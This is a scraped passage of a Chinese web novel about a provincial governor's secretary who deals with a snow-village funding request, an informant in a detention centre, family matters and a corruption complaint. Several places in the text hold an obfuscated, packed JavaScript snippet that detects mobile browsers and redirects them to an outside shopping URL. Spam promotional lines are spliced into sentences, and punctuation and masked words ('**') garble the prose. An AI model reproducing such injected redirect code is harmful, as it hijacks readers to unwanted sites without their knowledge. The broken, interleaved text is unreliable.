李秘书封兰也是你的家乡等雪村扩建后用不了几年封兰的改变会让你眼前一亮。” 徐江这次来是为了争取省里的扶持资金对雪村进行扩建。 他知道李承的家在封兰。 人都有故土情怀都希望自己的老家建设得好。 徐江想借着这个理由试着能不能让李承在孟良德面前美言几句加大他拿下扶持资金的概率。 “徐市长为了封兰的发展可谓是尽心尽力希望在您的领导下封兰能够更上一步。” 李承对徐江的自卖自夸选择了敷衍回应完全当做了耳旁风。 尽管对方说的天花乱坠李承也不会在孟良德面前进行半点鼓吹。 他自然希望封兰能够发展的更好但他不能去影响领导的决策。 因为李承也不清楚徐江手中这份材料 “这样徐市长我尽量帮您争取一下时间孟省长那边忙完我第一时间通知您。” 李承虽不愿意去接徐江的话茬但场面上的话还是要说关系还是有维护。 “行那就麻烦你了。”徐江笑着点了点头。 “嗯您在这里休息一下。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 李承说完,回到了自己的位置上,继续开展他的工作,将徐江凉在了一边。 但也不是故意不理睬,李承的工作同样繁忙。 如果每个来客都要陪同聊天的话,他的工作也就没时间干了。 一个小时后,孟良德会见完卫华国际的企业老总后,李承走了进去。 “省长,封兰的徐市长在外面等您呢,要不要现在叫他进来?李承问。 “他约的几点?孟良德喝了一口水,问。 “十点半。 闻言,孟良德看了一眼自己的腕表,距离十点半还差十五分钟:“嗯,让他进来吧。 “好的省长。 李承退出办公室,走到徐江面前:“徐市长,您可以进去了。 “谢谢李秘书。 徐江向李承表达了感谢。 省长的时间比金钱还重要,李承为他多争取了十五分钟的时间。 “孟省长。 两个人一同走进省长办公室后,徐江向孟良德微笑问好。 “徐江同志等很久了吧? 孟良德眼神落在了他办公桌对面的椅子上,说:“坐吧。 孟良德并没有在会客区招待徐江,而是在自己的办公桌。 因为地点的不同,李承也就不需要去准备茶水,拿了一个纸杯,他又给徐江接了一杯矿泉水。 “孟省长,我这次过来,主要是想找您讨论一下雪村的扩建问题。 徐江边说,边打开了自己的公文包,将厚厚一沓的资料拿了出来:“您视察后,我们就成立了专项小组,按照您的指导,重新制定了计划书。 为此,我们还特意请来了一位经济学博士,一同策划这个项目。 徐江双手将资料递到孟良德的面前,把刚才对李承说的话,又跟孟良德讲了一遍。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138616|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>来表现他们对待工作和领导认真的态度。 “确实很下工夫。 孟良德接过资料,看着这么厚一沓子,眉头轻蹙。 “这么大一笔投资,当然要用强有力的数据作为支撑,我们封兰市政府,为了不辜负省里的期待,自然要将风险降低到最小。 徐江笑呵呵的说。 他并没有察觉到,孟良德对这么多资料的反感。 省长的时间是紧迫的,正常情况下,徐江应该准备一个总结概括。 在谈话期间,让省长来看这个总结概括,节省省长的时间。 而这些整体数据,到时候再由秘 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 书处进行跟总结概括进行核实,可徐江却没有做出这种准备。 像这种错误,不应该出现在他这位市长身上。 孟良德大致的翻开了一眼,几百页的资料,他只是挑挑选选的看了一个结尾。 “资料就放在这里吧,等我看完,再找你谈。”孟良德说。 这一刻,徐江才意识到了自己的疏忽,他一拍脑门,摆出一副懊恼的样子:“哎呀,对不起孟省长,是我疏忽,忘记了做总结资料。 这样,我来跟您口述一下吧,这些考察内容我都亲自参与,对此非常了解。” “嗯,那你说吧。” 时间还很充裕,孟良德也给了他这个纠正的机会。 “我们的规划是.” 接下来,徐江将雪村的未来规划,以数据作为支撑的讲述给了孟良德。 他的这次规划,完全融入了之前孟良德提出的‘国际化特色雪乡村’的主题,其中不乏迎合孟良德的意思。 徐江是做足了准备,他对于雪村的扩建,也的确费了一些工夫,讲的头头是道。 可对此,李承能够清晰的洞察到,孟良德并不太感兴趣。 孟良德在视察完雪村后,对于雪村的扩建,是有打算的。 如今,却仿佛提不起半点兴趣,这种改变,再次让李承认为,孟良德可能真的要离开东江省了。 第217章 两年前的车祸? “看得出来,徐江同志,你对于雪村的扩建是尽心尽力呀。”孟良德听完他的讲述,拧开保温杯,喝了一口水。 “封兰和滨西市面临的处境相同,滨西好歹还有矿业作为支撑,可我们封兰的确是在**。 想要让封兰更进一步,转型是必不可免的,而旅游业刚好是我们的优势。”徐江道。 身为一市之长,他想在任职期间干出些政绩是真的。 但他也是真心实意的为封兰发展而考虑。 “先天下忧而忧,后天下乐而乐,一直都是我党的精神,作为市长,我更应该身先士卒。 孟省长,不是我邀功,为了这个项目,我这两个月都在加班加点,这不,头发都熬白了不少。” 徐江以玩笑的口吻说。 话中,虽有邀功之意,可他也是实实在在的付出了。 “若是全省的党政同志,都有你这种奋斗精神,东江省的发展还要提前几年。” 孟良德对于他的努力,进行了口头称赞。 “这些资料你留下来,到时候我让办公厅进行整理,雪村扩建不是小项目,还要跟省委**们商议决定。”孟良德说。 “孟省长,这些资料在来之前,我还去请教过裴老**,他对于雪村也很看好,还说愿意帮我们拉些投资。 想来,这个项目落实后,应该会有不少企业投资,需要政府扶持的金额,我认为还会比资料上的预算低一些。” 省委**拒绝投资的理由,基本是以财政问题为主。 徐江担心自己的努力付之东流,为了争取下这个项目,他将投资商的意愿告诉给孟良德。 并且,还搬出了裴老**来撑场子。 裴正文是东江省的上任省委**,他退休后,才由马洪波进行担任。 虽说裴正文已经退休,但他在东江省仍有影响力。 他的老下属,很多都是东江省身居要职,很多国有企业仍以裴正文马首是瞻。 虽然,他没有了实权,但他的**资源还在。 这些资源,会随着时间的推移,而慢慢减退,但至少现在,他仍有一定的地位。 孟良德上任省长时,裴正文已经退休,即便如此,在一些事情上,裴正文若是找到了他,孟良德也会顾及这位老**的颜面。 “老**在经济领域颇有远见,东江很多的支柱产业,都是老**一手缔造。 放心,雪村扩建的项目,省政府会认真对待。” 徐江给裴正文当过秘书 听说看这本书的人都是很幸运的,分享后你的运气会更棒 两个人的关系密切。 所以当着徐江的面孟良德还是要表现出对裴正文的认可和尊敬。 “你先回去等消息吧。”孟良德说。 “好那我就先回封兰了市里还有一堆政务等着处理呢我等您消息。” 徐江站起身与孟良德告辞。 李承送走徐江后返回了省长办公室。 “李秘书这些资料你送给兆华同志让他精简概要再找几个懂经济的分析一下。” 孟良德指了指桌子上厚厚一沓材料吩咐道。 “好的省长。” 李承将资料拿了起来他沉默了半秒转身离开。 他本想借着雪村扩建的机会试探一下孟良德的态度看看他是不是真的要离开东江。 可话到嘴边还是咽了回去。 来到秘书长办公室李承将资料放在了杨兆华的桌子上:“领导孟省长让您安排一下把资料精简概要出来再找几个懂经济的分析一下。” 李承把孟良德的话照搬不动的转达给了杨兆华。 “刚才我看徐江来过这是来跑雪村扩建的项目吧?”杨兆华放下手中的笔抬起头来看了一下那堆资料。 “是呀徐市长为了扩建是煞费苦心。”李承说。 “他做工作一向很认真。” 杨兆华跟徐江接触比较多对其的工作状态有了解:“孟省长那边什么态度?” “没表态就是让把这些资料分析出来。”李承道。 “哦哦。” 杨兆华点了点头没再多说。 “老领导有个事情我想跟你打听一下。” 李承还是忍不住心中的悸动回头看了一眼门口的方向后他走到杨兆华身旁压低声音。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138617|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 自从上次在杨兆华家里吃过饭李承对他的心结也解开了。 “什么事?”杨兆华问。 “我那天听省委的张秘书说孟省长可能要回京任职你有没有听过?”李承低声询问。 “嗯是有耳闻 在杨兆华这里得到确定消息李承的心不禁再次一沉:“好吧。” “你也不用过多担心做好本职工作。”杨兆华叮嘱道。 “我知道。” 不担心是假的孟省长的职位调动涉及到李承的个人利益。 他现在是省长秘书副处级干部。 但这个副处级可以 听说看这本书的人都是很幸运的,分享后你的运气会更棒 说是整个东江省,上万名副处级的翘楚。 而孟良德离开了东江,他还是副处级,可那个时候,可能就是寂寂无名的末位了。 除了晋升空间和职务含权量,薪资待遇也会有变化。 李承目前的薪资,在党政机关的实职副处级来说,也算是最高待遇了。 可若是调到了地方去,津贴补贴,地区补助,绝不会有现在这么高。 ‘铃铃铃’ 刚回到秘书间,李承发现座机电话一直在响。 他快步走了过去,接起了这通电话。 “喂,李秘书,我是宫庆鑫。” “宫局。” 李承招呼了一声,问:“有什么事情?” “关于谢志强的调查,有了进展。”宫庆鑫说。 李承能明显感觉到,宫庆鑫的情绪并不高涨。 “这么快,找到他了?”李承问。 “我们都被田进华给耍了!”宫庆鑫哼了一声,说。 “什么意思?” 李承闻言,眉头皱了起来。 凭李承的感觉,田进华应该讲的是实话。 “根据调查,谢志强在两年前就已经**!” “什么?**?” 李承震惊,若是谢志强在两个月前**,田进华不知情是正常的,因为他在拘留所里。 可两年前就**的人,田进华不可能不知道! 第218章 再次审讯 “宫局 他并不认为田进华昨天的表现是在戏耍他们。 “属实。” 宫庆鑫为此做出了解释:“两年前谢志强出了车祸有医院开具的死亡证明。 我们也调查了车祸时的录像和卷宗确定谢志强在两年前已经车祸身亡!” 有实质性的表明李承也不再做任何幻想。 田进华毕竟是雷二利的人他们之间的交情涉及到的一些利益往来这些李承都不知情。 田进华故意包庇用假消息阻挡他们调查也正常不过。 但是 李承认为其中还是有疑点的如果田进华是想阻拦他们的调查时间不应该用一个**来说事。 他换一个活着的人警方追踪抓捕起来反而拖延的时间更长。 难道 “今晚我还想再见见他。”李承说。 到底是什么情况李承还是想见面问问。 “我觉得没必要了他就是在耍我们。”宫庆鑫道。 “再见一面吧。” “嗯那行我来安排。” 见李承还在坚持宫庆鑫也不好拒绝答应下来。 对于这个消息李承并没有向孟良德做出汇报。 这种小事不至于去耽搁一位省长的时间他私下里查清楚结果再汇报就行。 晚上。 李承在宫庆鑫的陪同下再次来到了关押田进华的拘留所。 “宫局李秘书人已经被关在了审讯室。” 两个人刚进门所长张民一脸谄媚的凑了上来。 “什么人?” 李承眉头一皱问。 “你们.不是要审讯田进华吗?” 张民诧异的看着李承有些拿不定李承的心思。 李承将目光看向身旁的宫庆鑫没有讲话。 感受到李承的眼神宫庆鑫解释道:“是我让小张把人提前带到的审讯室节省一下时间嘛。” 在宫庆鑫眼里跟田进华这种人交涉就是浪费时间。 若不是李承一意孤行他今晚也不会到这里来。 “哦。” 李承应了一声心里有些不悦。 进入审讯室一双锐利的眼睛直接盯在了李承身上。 李承目光与田进华对碰一瞬间李承便感觉有一种寒意从心底升起。 田进华的那种眼神冷漠到了极点。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 那是**犯想**的眼神! “田进华你摆个臭脸给谁看呢谢志强已经**两年你还拿这个假消息来忽悠我们!” 宫庆鑫一拍桌案指着田进华怒声呵斥道。 “呵呵.” 田进华的嘴里发出一道森冷的笑声表情有戏谑也有杀气。 “对呀我就是耍你们怎么了? 反正老子在这里也无聊的很你们一位是**局长一位是省长秘书老子看你们被耍老子开心呀哈哈哈哈.” 说完田进华放声大笑。 可那种笑容却充满了做作的成分。 “田进华你难道不想救你女儿吗?我告诉你” ‘砰!’ 宫庆鑫的话还未说完田进华用拳头砸了一下审讯椅打断了他:“我女儿过得很好!” “我女儿在国外留学她有花不完的钱她这辈子都能衣食无忧这就够了。 至于我无所谓啦反正你们又不能**老子老子是住别墅还是住牢房对我没区别!” 田进华的表现让李承觉得怪异。 他从进门后一言未发一直在观察着田进华的一言一行。 李承觉得昨晚的田进华才是真实的田进华。 而今天的田进华似乎在演一场戏。 这让李承有了一个大胆的猜想那就是昨晚田进华透露给他们的消息已经走漏风声! 田进华被人威胁了! “你们被耍 这句谩骂李承觉得是意有所指! 结合之前的猜想李承的目光看向监控。 监控的灯已经灭了确定被关闭。 随后他开始在房间内搜索起来。 宫庆鑫看到李承的举动敏锐的直觉和经验让他瞬间领悟也跟着李承在审讯室内找了起来。 审讯室不大能够藏匿东西的很有限。 “田进华省里对于这次扫黑的态度很坚决你若是继续这么顽抗下去保不准会定性为典型!” 李承看似是威胁实则这句话是一种暗示。 因为他搜索的动作被田进华看在眼里李承想让他配合。 而当李承蹲下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138618|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身时眼睛顿住了。 在审讯椅的下面有一根录音笔被胶带粘着! 这一发现彻底确认了李承的猜想。 宫庆鑫见李承有发现也蹲下身看了过去。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 两人对视一眼,心照不宣的没有动那根录音笔。 “田进华,我劝你老实交代你和雷二利之间的关系,不要把责任推到谢志强一个**身上。 我可以实话告诉你,雷二利这次在劫难逃,你的顽固只会害了你自己。” 李承这番话说的也很有技巧。 他将昨晚田进华提到谢志强的事情,从田进华的泄密,转为了田进华为雷二利的一种掩护。 目的,就是让这根录音笔记录下来,传到雷二利的耳朵里。 在说话时,李承拿出了手机,打了一行字:有人威胁你,你就点一下头。 “我劝你考虑清楚,今天是你最后的一次机会,明白吗?!” 李承严肃的呵斥时,将手机屏幕递到田进华的面前。 田进华知道走漏风声的内奸是拘留所所长张民,因为今天,张民拿着他女儿的照片跑过来威胁了他。 田进华同样清楚,李承和宫庆鑫对此并不知情,属于蒙在鼓里。 所以,在李承寻找录音笔,以及这些做作的语言表演时,他都保持全程沉默,算是配合李承的表演。 而当他看到了李承在手机上写的字时,重重的点了一下头! 现在的他,对雷二利是又忌惮,又恨。 龙有逆鳞,触之必死,雷二利触犯了他的禁忌,动了他的女儿。 如果给田进华一个机会,现在的他,会豁出一切,毫不犹豫的干掉雷二利! 所以,在他内心中,还是愿意跟政府进行合作的。 “我在跟你说话呢,说话!” 李承冲着田进华微微一点头,继续编辑字,但语气十分严肃。 这一次,李承编辑的字:有什么话,打字给我。 编辑完,李承直接将手机递给了田进华。 “我跟你们这群**没什么好说的,你们想怎么判就怎么判,老子照单全收就是了!” 田进华冷声回应时,选择接过了李承的手机。 第219章 新线索 田进华在手机上编辑了一串文字后 李承看完上面的文字冲着田进华再次点了下头:“行!我看你不到黄河心不死有你后悔的一天!” 说完李承将手机塞进了口袋转身离开。 出了审讯室张民立马堆积着笑容凑到李承和宫庆鑫的身边。 他看到两个人的脸色都很严肃试探问道:“田进华不配合吗?” 对于他的询问李承没有回答继续往前走。 “给他关禁闭。” 宫庆鑫冷声对张民吩咐。 “是宫局放心像他这么不听话的我一定好好照顾他。”张民在照顾两个字上加重了语气。 是照顾还是针对大家心知肚明。 宫庆鑫之所以让张民给田进华关禁闭就是让拘留所里的‘叛徒’放松警惕让对方知道他们并没有在田进华口中得到任何消息。 至于这个叛徒是谁宫庆鑫不能确定。 他推测是张民但并未有实质性的证据。 其实想要调查出来这个人很容易调取一下监控采集一下录音笔上的指纹就行。 只不过宫庆鑫和李承都心照不宣地选择了放弃调查。 放弃调查只是暂时他们不想现在打草惊蛇! 在张民的相送下两个人离开拘留所各自上了各自的车。 两个人并没有回家汽车开到了江边公园。 现在是晚上九点多公园里游客已经少了很多只有三三两两的人在散步。 两个人走到江边找了一个无人地方李承给宫庆鑫递过去一根香烟。 “拘留所里出了‘鬼’这是我的疏忽。” 宫庆鑫吸了一口烟眼神闪过一抹寒意。 他已经下定决心雷二利的事情结束一定要好好整顿一番! 尤其是这个内鬼抓住后要严审严判绝不手软! “正常有利益就会有**。” 李承吐出烟雾目光看着江对面繁华的城市样貌。 “接下来有什么调查方向?” 关于田进华给李承传递了什么信息宫庆鑫还不知情。 但他确认李承那里得到了重磅消息。 李承只是一个秘书调查案件不是他的工作内容田进华给他的线索最后还要通过宫庆鑫来执行。 所以他才会问。 “车祸是策划的想杀谢志强的人是雷二利他没死只 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 是躲了起来。 李承吸了一口烟,眼神冰冷。 至于说,谢志强是怎么伪造的死亡,甚至蒙混过了雷二利,又有谁在帮助谢志强,这是他们江湖的事情,李承不知情。 “这就是江湖,冷血啊!李承感慨了一声。 雷二利混江湖的启动资金,是谢志强靠着自由换来的。 谢志强一个人扛下了所有,才有了雷二利的今天。 可到头来,兄弟一场,最后却落得一个杀身之祸。 李承有些好奇,他们那个江湖,到底是一个什么样的江湖。 “田进华知道谢志强的下落吗?宫庆鑫问。 “**,但有一个人知道!李承吸了一口烟,吐出烟雾。 “谁?宫庆鑫追问。 李承缓缓转过身,目光看向宫庆鑫。 在官场上混了这么久,李承已经不相信任何人,包括宫庆鑫。 “伊莉莎。 李承沉默了两秒,说出了对方的名字。 他不能百分百的信任宫庆鑫,可事到如今,他也只能信任宫庆鑫。 “卖抵押车那个女人? 宫庆鑫微微眯起眼睛:“她应该就是一个马前卒,怎么会知道这么多? “这个我不清楚。 李承耸了耸肩,说:“这个女人要尽快控制起来,我认为,你们市局应该成立一个完全可信的小组。 雷二利的手,渗透得太深了。 “嗯。 宫庆鑫弹了弹烟灰,单手握在栏杆上:“刚好发生了你朋友父亲的那个案子,控制伊莉莎合情合理。 “内鬼已经确定了,就是张民。 李承将烟头丢在地上踩灭,再次拿出一根香烟点燃。 外面的风很大,上根烟,他还没抽几口,就被风吹到了尽头。 “我猜到是他了,等这件事结束,我会严查。宫庆鑫冷声说。 “行,那今天就这样,宫局你也早点回去休息,辛苦了。李承看了一眼时间,马上到了接许梦下班的时间。 “好。 接完许梦下班,她坐在副驾驶,问:“你饿不饿呀? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138619|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还好,你饿了吧?李承说。 “嘿嘿.有一点饿了。 许梦眼睛弯成月牙,甜甜一笑。 “想吃什么?李承启动车辆。 “吃烧烤,我听说省电旁边有一个地摊烧烤,挺不错,我们去尝尝呗。许梦说。 你的朋友正在书荒,快去帮帮他吧 “好呀,你知道位置吗?”李承问。 “不知道,我查一下导航。” 许梦拿起手机,搜索了一下位置后,开始导航。 李承跟着导航走,大概一公里后,到达了这家烧烤店。 名字叫地摊烧烤,但并不是摆地摊。 这是一个破旧的**房,里面喧嚣一片,生意十分火热。 两个人进屋后,等了十几分钟,才有一个空位。 点了一些串,许梦拿起手机,不停地在回消息。 “在跟谁聊天?” 爱一个人,就会有占有欲,会担心,李承忍不住地问。 “回复一下粉丝评论,我现在好歹也算是个小网红,当然要维护好粉丝。” 许梦知道李承是个爱吃醋的小心眼,她直接将手机递给了李承。 许梦手机密码是李承的生日,在她看来,两个人在一起就要真心实意,不该有任何的隐瞒。 所以,她从来不介意李承看她的手机。 “不错呀,都快二十万的粉丝了。”李承看了看评论,又看了一眼她的账户,夸赞道。 “最近找我打广告和带货的商家挺多,开的价也越来越高,我感觉我快经不住诱惑了哈哈.” 许梦说这话,也是想试探一下李承的态度。 一直以来,李承都不建议让她接广告,她也都乖乖照做。 可一条广告的报价,就是她一个月的工资,难免不心动。 “我还是建议你再等等,你不止是一个网红,还是一名公众人物,千万不能因为广告和产品带货,塌房。” 李承给出了自己真心的建议。 他们两个人的收入都不低,即便在汉江这个二线城市,也不需要为了生计发愁,没必要太早的盈利。 “知道了。” 许梦鼓起小嘴,从李承手里拿回手机:“对了,跟你说一件事情,我爸妈礼拜六的飞机,来汉江。” 第220章 要见家长? “啊?” 李承听到这个消息有些惊讶。 “不欢迎吗?” 许梦笑盈盈地盯着李承。 “欢迎我就是有点意外。” 李承喝了一口水压了压惊说:“我这个准姑爷还没去拜访他们他们先过来了我心里挺过意不去的。” “我爸妈知道你忙抽不出时间了就想着过来看看。”许梦说。 她这个年纪在老家早该结婚了她那些亲戚家的弟弟妹妹一个个都成了家所以她父母也跟着着急。 想要见见李承这位准姑爷催着两个孩子尽快结婚。 “他们在这边准备住多久?”李承问。 “一个星期左右吧他们还想着见见叔叔阿姨聊聊咱俩的婚事。”许梦说。 她跟李承是情投意合两个人的年纪也不小了许梦也想尽快把婚事定下来。 “嗯那是肯定的。”李承微笑说。 对方父母都来汉江了双方父母肯定要见面。 嫁姑娘的远道而来自己家里这边也要表现出足够的诚意。 但想到要见家长李承心里还是很紧张。 这种紧张比他第一次见孟良德还要紧张。 因为在这方面李承有过阴影。 他始终无法忘记第一次见秦虹父母时 他担心历史重演。 “礼拜六的时间是你挑选的吧?”李承吃了一口排骨串问。 “对呀你上班这么忙晚上下班时间也不固定我怕耽误你工作。” 许梦点了点头温柔地笑了:“周六你总不能没空吧?” “有空周末老板回京城。”李承说。 许梦的做法让李承觉得很暖心她一直在为李承考虑。 当了省长秘书李承的时间他说的也不算要看省长的工作安排。 周末孟良德要回京城陪家人他的时间也能充裕。 “你以后可要跟你的老板多学习人家工作那么忙职位那么高周末都要回家陪老婆。” 许梦感叹了一句:“他老婆一定是很幸福的女人。” “在家庭这方面我会做得比他更好。”李承讨许梦欢心地说。 孟良德的家庭感情李承没有任何了解。 但李承推测孟良德不管再忙再累每周都要往回于京城和汉江就不仅仅是因为爱情。 毕竟 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 孟良德娶的这个老婆,可是京城的名门望族,据说,孟良德是高攀。 李承的推测,也不是随意乱想,是有细节可以考量的。 因为李承知道,孟良德的老婆并没有参与工作,她的时间要比这位封疆大吏充裕得多。 按理说,她老婆甚至可以到汉江来陪他,可李承却从未见过孟良德的妻子来汉江。 但这涉及到孟良德的家事,李承心里分析,却也不会对任何人透露,包括许梦。 秘书聊省长的闲话,那是大忌! 接下来的几天,工作与往常一样。 周五晚上,李承送孟良德上了回京的飞机,他心里也松了一口气。 孟良德离开东江省,也预示着这个周末,只要没有较大的突发事件,他会过得很平静。 可以有时间招待自己的准岳父母。 可人生就是这样,有时候,闲的时候一点事情没有。 偏偏你忙起来的时候,一件又一件地找上门。 越是担心什么,越来什么。 ‘我的爱如潮水,爱如潮水将我向你推.’ 李承刚赶回迎宾馆,准备取自己的车时,手机响了起来。 是**局的廖光辉。 “喂,廖局长。”李承接通电话。 “李处长,有这么个情况,有人举报检察院的赵金福同志徇私枉法,****,你看要不要接见一下?他就在我办公室。”廖光辉说。 正常情况下,**局接收到了这种举报,应该移交给同级**单位。 这涉及公职人员的渎职和**问题,不属于省长秘书的工作范畴。 廖光辉将这件事率先汇报给李承,是想卖李承个人情。 他知道,李承跟赵金福有私人恩怨,上次李承被沉江一事,赵金福都可能是参与者。 但上次事件,因为证据不足,赵金福的弟弟赵金虎扛下了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138620|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全部责任,两个人又没有超出正常范畴的金钱来往,所以,赵金福并没有得到严惩。 这次收到举报,在廖光辉看来,是跟李承拉拢关系的好机会。 虽说,他跟赵金福也有些交情,但那点交情跟讨好李承相比,可以忽略不计。 毕竟,李承手里有他的把柄。 “嗯行,那我现在去**局。” 李承回家的路程,距离**局并不远,中途拐个弯就到了。 “好,那我等你。” 挂断电话,李承开车赶往了**局。 半个小时后,李承赶到了**局 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 。 **局的大部分员工已经下班了,但还有四个人在加班。 他们的加班,不是任劳任怨的努力,是因为局长廖光辉还没有走,属于职场作秀。 看起来好像很努力的样子,仔细打量,其实都没有把精力投入在工作内,有偷偷刷视频的,还有用电脑小窗口扫雷的。 李承径直上了楼,来到局长办公室。 “李处长,你来了。” 房门没有关,李承走进去后,廖光辉连忙起身,向李承打招呼。 “嗯。” 李承冲廖光辉点了下头,随手关上房门后,目光落在了沙发上,那位一身运动品牌的男人身上。 男人的目光在与李承对视后,他也站起了身,客气地说:“您是李秘书吧,我是《东江问政》节目忠实粉丝,听说这个节目是您提议的开办,您很有远见,呵呵呵.” 他态度很客气,第一句的夸赞,也让李承对这个人有了些好感。 赞美是一种艺术,也是拉近彼此关系的最好润滑剂。 这个道理很多人都懂,但很多人却会吝啬自己的赞美。 “嗯,坐。” 李承做了一个请的手势后,坐在了他的对面:“听廖局长说,你要举报检察院的赵金福,具体因为什么事?” 见李承开门见山,男人愤愤不平地说:“我举报他包庇和**,因为他,我小舅子蒙受了冤屈,被判成了主犯!” 第221章 原委 “说说怎么回事?” 李承拿出香烟分给男人和廖光辉后自己点燃了一根。 自从做了省长的秘书工作压力巨大他的烟也越来越频繁。 以前在审计局是工作量大需要审计大量的数据忙起来也想不起来抽烟。 现在不仅工作量大精神压力也大。 香烟虽然是害人的东西却也能缓解些精神疲惫。 “这件事发生在去年夏天哎呀其实我小舅子这个人也不省心我媳妇儿是开美容院的他呢原来就给我媳妇儿开开车跑跑腿我媳妇儿一个月给他六千块钱零花钱。 但这小子上班没几天就跟美容院的美容师勾搭上了那个美容师也是个小**天天吹他耳边风让我媳妇儿给涨工资。 做生意这玩意生意是生意情义是情义得分得清。 我媳妇儿训了那个美容师一顿结果我小舅子还跟我媳妇儿翻脸了我媳妇儿脾气不好一气之下就给他俩都开除.” “你挑重点说就行。” 李承弹了弹烟灰见对方唠起这么多与案件不太相关的事情便打断道。 “哦行。” 男人点了点头吸了一口香烟:“就是这个小**有个什么亲戚是搞拆迁队的说薪资待遇高就给我小舅子忽悠去了。 拆迁这玩意你懂吧碰到不配合的胡搅蛮缠的就要用一些暴力手段。 这不就在一个争执中闹出了人命但人不是我小舅子杀的。” “嗯继续说。”李承见对方停顿他说。 “是我小舅子也动了手但他可不是主犯 **的他们那个老大一刀捅到了脾脏上就给捅**。”男人说道。 “你小舅子也是同案犯呗但不是主谋是这个意思吧?”李承问。 “对现在就是他们给我小舅子定成了主谋要判无期徒刑我媳妇儿就这么一个弟弟家里老人也着急上火。 我们就想求一个公道该怎么判就怎么判。”男人说明了自己的要求。 “这跟你举报赵金福有什么关系?”李承问。 李承当然清楚赵金福跟这件事存在关系他想问的是具体关系。 “我们家里条件也不错有点人脉但几次**都以失败告终拆迁队那边来头不小听说是给花海集团做事的。 后来我媳妇儿就花钱送礼前前后后花了三十 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 多万,想搞清楚我小舅子被定性为主犯的问题出在哪,准备收集证据去**。 这么一查,还就真查到了点东西。 **那边说,他们提供的补充侦查材料,到检察院那边给退回了,说是事实不清,证据不足,而且退回了两次。 这一来二去,就给拆迁队那边争取到了时间,他们找关系运作下,**凶手责任弱化了,我小舅子成了主犯。 退回材料的原因,我们也问出来了,就是赵金福安排的,他收了对方不少钱! 男人愤愤不平地将事情讲述出来:“今天李秘书您来得正好,要不我也打算跑完**局,周一去趟纪委和省政府,这回省事了。 “你说赵金福包庇和**,你有证据吗?李承掐灭了香烟,问。 如果没有证据,他说的这些,跟废话没什么区别。 那么,李承会直接建议他去纪委举报,他就不会参与其中。 虽说李承和赵金福有恩怨,但恩怨不能在工作里刻意地针对,这本就不属于李承的工作范畴。 若是听到空穴来风的事,李承就去四处联系,找赵金福的麻烦,那不利于组织和谐。 这是公报私仇。 但若是对方有证据可以表明赵金福**和包庇,李承再替他主持公道,就合情合理了。 有了证据,李承就能找机会向省长汇报。 “有证据,没证据的话,我也不能跑这来。 男人说着,从他的手提包里拿出几张材料来,递给了李承:“李秘书,这个您看一下。 李承接过材料,看了起来。 材料的内容,的确能指向检察院在审理这个案件时,存在一些问题。 但却没有体现出跟赵金福的直接关系。 